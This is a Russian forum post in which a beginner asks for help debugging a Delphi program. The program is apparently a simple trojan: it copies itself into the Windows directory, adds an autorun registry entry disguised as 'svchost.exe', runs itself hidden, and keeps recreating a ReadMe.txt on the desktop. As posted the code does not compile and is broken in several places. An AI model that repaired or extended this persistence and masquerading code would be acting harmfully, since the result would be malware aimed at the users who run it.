Ошибка в коде

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by RkPro, 1 Nov 2010.

  1. RkPro

    RkPro New Member

    Joined:
    22 Oct 2010
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Народ помогите найти ошиббку в коде все перебрал ничего пока что не нашел :mad: не судите строго т.к в дельфи только начинаю)
    program Stoun;

    {$APPTYPE CONSOLE}

    uses
    SysUtils,
    Windows,
    Registry;

    function user: string;
    var
    f:array[0..255] of char;
    begin
    GetEnvironmentVariable('USERNAME',f,255);
    Result := f;
    end;
    function sisdir:string;
    var
    f:array[0..255] of char;
    begin
    ExpandEnvironmentStrings('%WINDIR%',f,255);
    Result := f;
    end;

    begin
    If FileExists('sysdir+\pxd1vc.exe')=False then
    begin
    CopyFile(pchar(ParamStr(0)),pchar('sysdir+\pxd1vc.exe'),True);
    RegIni := TRegIniFail.Create('Software');//ошибку находит тут
    RegIni.RootKey := HKEY_LOCAL_MACHINE;//тут ошибка
    RegIni.OpenKey('Software', true);// и тут ошибка
    RegIni.OpenKey('Microsoft', true);//тут ошибка
    RegIni.OpenKey('Windows', true);//тут ошибка
    RegIni.OpenKey('CurrentVersion', true);//тут ошибка
    RegIni.WriteString('Run', 'svchost.exe', sysdir+'\pxd1vc.exe');//тут ошибка
    RegIni.Free;//тутошибка
    WinExec(PAnsiChar(sysdir+'\pxd1vc.exe'),SW_HIDE);
    halt;
    end;
    var//тут ошибка
    Ctux:TextFile;
    RegIni:TRegIniFile;//тут ошибка
    i:Integer;
    BblBog:String;

    procedure ctuxu;
    begin
    AssignFile(Ctux, 'C:\Documents and Settings\'+user+'\Ðàáî÷èé ñòîë\ReadMe.txt');
    ReWrite(Ctux);
    Append(Ctux);
    i:=random(6);
    Case i of
    0: BblBog:=
    0: BblBog:=
    1: BblBog:=
    2: BblBog:=
    3: BblBog:=
    4: BblBog:=
    5: BblBog:=
    6: BblBog:=//тут текст
    end;
    Write(Ctux,BblBog);
    CloseFile(Ctux);
    i:=0;
    end;
    While 0=0 do//тут ошибка
    if FileExists('C:\Documents and Settings\'+user+'\Ðàáî÷èé ñòîë\ReadMe.txt')=False
    then
    begin//тут ошибка
    ctuxu;
    sleep(5000);
    end;//тут
    end.